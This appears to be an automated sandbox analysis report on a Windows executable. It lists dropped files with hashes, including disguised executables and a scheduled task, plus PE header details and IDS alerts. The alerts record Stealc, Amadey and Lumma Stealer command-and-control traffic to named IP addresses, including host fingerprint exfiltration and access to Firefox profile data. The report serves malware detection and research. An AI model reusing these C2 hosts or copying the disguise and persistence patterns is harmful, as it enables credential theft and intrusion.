Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_an31du02.lay.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_byxx01wd.2ji.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fwiba02b.25f.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\KKEBKJJDGH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1922560
Entropy (8bit):	7.949328638137078
Encrypted:	false
SSDEEP:	49152:eroI0Lbi7Vc5q1L8K1P1Y0W3juWwyajW/Jo:YoI0Lbi7CcLGqWwa/J
MD5:	916BCEF7A2BBBFFB86BDCA71EBAD5F74
SHA1:	8B6D0650DE773B785D72F1963897C3EF5F93E97A
SHA-256:	AC4503F585575C887D81DED6323A7F379C60425DF0E9917BCE3E1AC6B6E6D29D
SHA-512:	202981D3D06338C7940E2ADD6AEE0B9FFB9844DFA4FDB32CD73D23F5A4F940D1A1535B37581E0673D838AFFEBFBDCE97A4B6A01BE1CB01DF464F2D84FC802123
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@.......................... L.....r.....@.................................W...k.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...miionvrr.@....1..:..................@...mlkqwbas......K......0..............@....taggant.0....K.."...4..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2342400
Entropy (8bit):	7.917360430130814
Encrypted:	false
SSDEEP:	49152:KUBU+3k+aP6SMLdUHP0ANTl0spA6PONWtdyQgo2PR:KUBU+gv4dUv0ANR0spAFj/oU
MD5:	4C64AEC6C5D6A5C50D80DECB119B3C78
SHA1:	BC97A13E661537BE68863667480829E12187A1D7
SHA-256:	75C7692C0F989E63E14C27B4FB7D25F93760068A4CA4E90FA636715432915253
SHA-512:	9054E3C8306999FE851B563A826CA7A87C4BA78C900CD3B445F436E8406F581E5C3437971A1F1DEA3F5132C16A1B36C2DD09F2C97800D28E7157BD7DC3AC3E76
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....1Jg.........."........... .....@..........@............................. $...........`.................................................8s..P.............#...............$.................................(...(k..8............v...............................text...F........................... ..`.rdata.............................@..@.data.... ....... .................@....pdata........#.......#.............@..@.00cfg........#.......#.............@..@.tls..........$.......#.............@....reloc........$.......#.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\gdi32.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	129536
Entropy (8bit):	6.694806704221827
Encrypted:	false
SSDEEP:	3072:h8ghUhcs023Tg3Kp6fPuAyFhqCFgsB5W:hPW3GKp3lfV5W
MD5:	B48E172F02C22894AD766C52303F087A
SHA1:	61DA0FF26DFC3759F7CD79696430B52F85073141
SHA-256:	712E46F7A4F9DA7FABD0B1ACD5E848527BD70B6C4444DC92C8479AC108D71753
SHA-512:	5B8A888A9D87A4EE34F57799D3D6BAF69CD556A2D1336AFB109ADC488A5EFA1C7CD094C3785CF9AF726A0C41BE3A56A0FFAC933B7FA7FB5DEC9643F3AF08BDFD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]6...W...W...W...<...W...<..W...<...W...<...W..>....W...W..{W..K"...W..K"...W..K"...W...W...W..."...W..."...W..Rich.W..........PE..L.....Lg...........!.................~....... ............................... ............@..........................t..T....t..P...................................\m..............................xm..@............ ..T............................text...(........................... ..`.rdata...\... ...^..................@..@.data...........\|...n..............@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\KKEBKJJDGH.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1922560
Entropy (8bit):	7.949328638137078
Encrypted:	false
SSDEEP:	49152:eroI0Lbi7Vc5q1L8K1P1Y0W3juWwyajW/Jo:YoI0Lbi7CcLGqWwa/J
MD5:	916BCEF7A2BBBFFB86BDCA71EBAD5F74
SHA1:	8B6D0650DE773B785D72F1963897C3EF5F93E97A
SHA-256:	AC4503F585575C887D81DED6323A7F379C60425DF0E9917BCE3E1AC6B6E6D29D
SHA-512:	202981D3D06338C7940E2ADD6AEE0B9FFB9844DFA4FDB32CD73D23F5A4F940D1A1535B37581E0673D838AFFEBFBDCE97A4B6A01BE1CB01DF464F2D84FC802123
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@.......................... L.....r.....@.................................W...k.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...miionvrr.@....1..:..................@...mlkqwbas......K......0..............@....taggant.0....K.."...4..............@...................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	41762
Entropy (8bit):	3.2405176844636814
Encrypted:	false
SSDEEP:	384:L+7H+hH+hR+hM+hJ+hS+hh+hB+h3+hV+h4+hU+hV+hy+hRU3+h5U/+hy:GVj
MD5:	AA4718B2EF071839D6095DF375F07BA9
SHA1:	BD536D30EFFF204A9CFD2DCDD882098E164519AE
SHA-256:	BE18A0F1A4E5AA25ACA90E2B359643AF7718BF5BB6D8AEADC1347FD1AB59EFB6
SHA-512:	CB4DFE1D189EDFCC9BD95AAD4DE72C40137B6492FA0895744F80B7AC30EDB4B27FC3F004F8235782651D5D58856348D7FCD1F2883BA4094F20141B2DCF2B697D
Malicious:	false
Reputation:	unknown
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. S.a.t. .. A.u.g. .. 0.5. .. 2.0.2.3. .2.2.:.0.4.:.5.2.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\KKEBKJJDGH.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.4460724145945525
Encrypted:	false
SSDEEP:	6:eIdXsQXUEZ+lX1CGdKUe6t7DY8uy0lmzt0:RJJQ1CGAFE2Vmzt0
MD5:	BCA3CB135E7258B93A5539ABDBF5300B
SHA1:	CDA9FB7B2EC6C2614D2EFB7682C7A8F1944C6039
SHA-256:	17F234358F72260A045A9733C18A944627F40C1B65CC6405F9F0483A4D6F97D0
SHA-512:	19B3D029A9D38317822362DC7A69B8EE967E31B3C5ADA01C512D58E563BEB81BAC48A092FADA5348C4508E1F9F82B18BF9A26336E6739EEC672EB2D4B7922D48
Malicious:	false
Reputation:	unknown
Preview:	....Z@.]...D..*.!.&.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.A.r.t.h.u.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........W.1.0.6.4._.0.3.\.A.r.t.h.u.r...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	2359296
Entropy (8bit):	4.3615381739125265
Encrypted:	false
SSDEEP:	49152:WuAhNXBlw3Ak2BGUc5Dp0Uag6nSz8a8aO:B
MD5:	868441B664B32FC73350BDEC61DFAEBF
SHA1:	066EEFE9E241479B096BD44674F260372399ECE1
SHA-256:	D82F90AB6B2AEEBC865E38E751731FAB31958396AEF506A446E64E625F815A83
SHA-512:	4D4C8F794C2D3441E7F4E2123FCEACBD1FA31B1291C50E13AB456782A08C41D67B281A6A834AA41AF7919336A0A9014CC7679E25EC0F76E4DDD95A947ECFC6BB
Malicious:	false
Reputation:	unknown
Preview:	regf........5.#.^................... .....!.....\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e......Q......P..#....Q......P..#........Q......P..#.rmtm.6E7qD..............................................................................................................................................................................................................................................................................................................................................c...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	4.603321474584944
Encrypted:	false
SSDEEP:	768:3QQyP8n9T/ml9TmcHhUoQU1t+9SglPZuiruMONpgHzcTPiZWT24D5o8AUyG2gK4i:gKRU12LuirujpgHqmDghgyfsW/gyf
MD5:	2C10A2DCA0B2019BB464369DE1877698
SHA1:	DFA71DEC89EB1A36373F29745540E4EF7761EF67
SHA-256:	155003143DC6E1BFFD36931F58A908EE82E0979A487F73117E3323F1D72E921A
SHA-512:	95209BD11D04D5DA4B59366D8B582E6EC01294A680F31AF98C23937A09773429550E6BCD74425F9B11EE824B2C84A5A632CF645C4B61237C3FEA690AB1E91356
Malicious:	false
Reputation:	unknown
Preview:	regf........5.#.^................... .....!.....\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e......Q......P..#....Q......P..#........Q......P..#.rmtm.6E7qD..............................................................................................................................................................................................................................................................................................................................................e...HvLE..............!......J5N..8(...@.Y..........0.......`........... ...p...............0.......P...............p..............................hbin................5.#.^...........nk,....S...............................................................&...{11517B7C-E79D-4e20-961B-75A811715ADD}......nk .....9......(...........@...............................*...N.......)...InventoryMiscellaneousMemorySlotArrayInfo....................mG.....nk .$4./T....... ...........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	353
Entropy (8bit):	3.3756909637314916
Encrypted:	false
SSDEEP:	6:WsTbRh07NkMswksKML4IOBWEyIFrvaaULRaaUDp:DYsDh06edAdDp
MD5:	B22C394B14CCBBCC2D1B46D5DAD554A3
SHA1:	100C3CD520D87720F169CD1850C43AA6CD63D0BE
SHA-256:	559101685E5DC35DA186F91CD53D29A5934B041DDA33CF8C69E45857FA4319EA
SHA-512:	C3B62878F682EF4C73855A4C38D601B4974A17486FAE68A24FCFE2B2E750F7156E475414E6CE741F206C21024407971AC89455EC9D7724D2010DC54942E5E1EE
Malicious:	false
Reputation:	unknown
Preview:	.Unhandled Exception: System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt... at ?????????????????????????????????????????.?????????????????????????????????????????().. at ?????????????????????????????????????????.?????????????????????????????????????????(String[] ).

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945871277203016
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'760'256 bytes
MD5:	ba8f4e56bc87dd31c14f261fcb6fc787
SHA1:	e489f9de5c0a3200c1eb0750bb780ee0ccbb5787
SHA256:	b48cd4d2e3cf5422795b27120cb8e7e9d266455aa5e6b94e7f3b81dc07e50179
SHA512:	14a867f735244d79844a64566b5984b77a4e24dfba7f98264e480a56771e754bbf6e0a561d8e739a5c0438235e8e774b7cc52c7a8d99c850a227206e37f49800
SSDEEP:	24576:ZnTW/4kUmaVGnJpr7R2cdyITOuw2W03Un1uS7p7tReBbpAJO5Jo1zcR:tTW/Y4Jp0c0ETw2En1Z7FtsbpA4jEoR
TLSH:	B18533D25BB454F4C24B0AB7567DD8832FAC739A8CF4B352275630A3217ED8C6250B9E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........PE..L...<.Jg...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa7a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674AE73C [Sat Nov 30 10:21:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F09F46092EAh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	2f20cefaa174205c920c1d0d414af616	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1f0	0x200	9536d2b3a2eda870e2407104c9596139	False	0.576171875	data	5.048164681214948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x299000	0x200	2916db9c678870c9503630d38208b161	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kolocmpo	0x4e5000	0x194000	0x193e00	1b8c6e3b34de38507976cd52eacd2377	False	0.9951072133240483	data	7.955234945449644	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
navlvyoq	0x679000	0x1000	0x400	29c152245ad86b7cb6b806558b72eeed	False	0.81640625	data	6.292493107627398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x67a000	0x3000	0x2200	ae0af5f4f3ad156c4870a2abae86245b	False	0.07146139705882353	DOS executable (COM)	0.7883334288603885	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x24a058	0x198	ASCII text, with CRLF line terminators			0.5833333333333334

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-02T11:20:04.490553+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.11.20	49718	185.215.113.206	80	TCP
2024-12-02T11:20:04.815605+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.11.20	49718	185.215.113.206	80	TCP
2024-12-02T11:20:05.139080+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.11.20	49718	TCP
2024-12-02T11:20:05.142133+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.11.20	49718	185.215.113.206	80	TCP
2024-12-02T11:20:05.467528+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.11.20	49718	TCP
2024-12-02T11:20:06.360653+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.11.20	49718	185.215.113.206	80	TCP
2024-12-02T11:20:06.804907+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.11.20	49718	185.215.113.206	80	TCP
2024-12-02T11:20:34.740829+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.11.20	49748	185.215.113.206	80	TCP
2024-12-02T11:20:37.429459+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.11.20	49748	185.215.113.206	80	TCP
2024-12-02T11:20:39.494553+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.11.20	49748	185.215.113.206	80	TCP
2024-12-02T11:20:40.609061+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.11.20	49748	185.215.113.206	80	TCP
2024-12-02T11:20:45.695264+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.11.20	49748	185.215.113.206	80	TCP
2024-12-02T11:20:46.751195+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.11.20	49748	185.215.113.206	80	TCP
2024-12-02T11:20:50.579080+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.11.20	49749	185.215.113.16	80	TCP
2024-12-02T11:21:04.944831+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.11.20	49751	185.215.113.43	80	TCP
2024-12-02T11:21:07.796846+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49753	31.41.244.11	80	TCP
2024-12-02T11:21:14.170508+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.11.20	49752	TCP
2024-12-02T11:21:14.497614+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.11.20	49754	185.215.113.43	80	TCP
2024-12-02T11:21:15.166781+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49755	31.41.244.11	80	TCP
2024-12-02T11:21:19.360985+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.11.20	49758	185.215.113.43	80	TCP
2024-12-02T11:21:20.001361+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49760	31.41.244.11	80	TCP
2024-12-02T11:21:24.119729+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.11.20	49762	185.215.113.43	80	TCP
2024-12-02T11:21:24.759056+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49763	31.41.244.11	80	TCP
2024-12-02T11:21:31.277140+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.11.20	49764	185.215.113.43	80	TCP
2024-12-02T11:21:31.921910+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49765	31.41.244.11	80	TCP
2024-12-02T11:21:42.165367+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.11.20	49768	185.215.113.43	80	TCP
2024-12-02T11:21:42.812728+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49769	185.215.113.16	80	TCP
2024-12-02T11:21:48.803076+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49772	172.67.165.166	443	TCP
2024-12-02T11:21:49.707769+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.11.20	49773	185.215.113.43	80	TCP
2024-12-02T11:21:50.353691+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49774	185.215.113.16	80	TCP
2024-12-02T11:21:51.556434+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.11.20	49772	172.67.165.166	443	TCP
2024-12-02T11:21:51.556434+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.11.20	49772	172.67.165.166	443	TCP
2024-12-02T11:21:51.960445+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49775	172.67.165.166	443	TCP
2024-12-02T11:21:55.737951+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.11.20	49776	185.215.113.206	80	TCP
2024-12-02T11:21:56.010166+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.11.20	49775	172.67.165.166	443	TCP
2024-12-02T11:21:56.010166+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.11.20	49775	172.67.165.166	443	TCP
2024-12-02T11:21:56.657358+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49778	172.67.165.166	443	TCP
2024-12-02T11:21:56.895630+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.11.20	49777	185.215.113.43	80	TCP
2024-12-02T11:21:57.542870+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49779	185.215.113.16	80	TCP
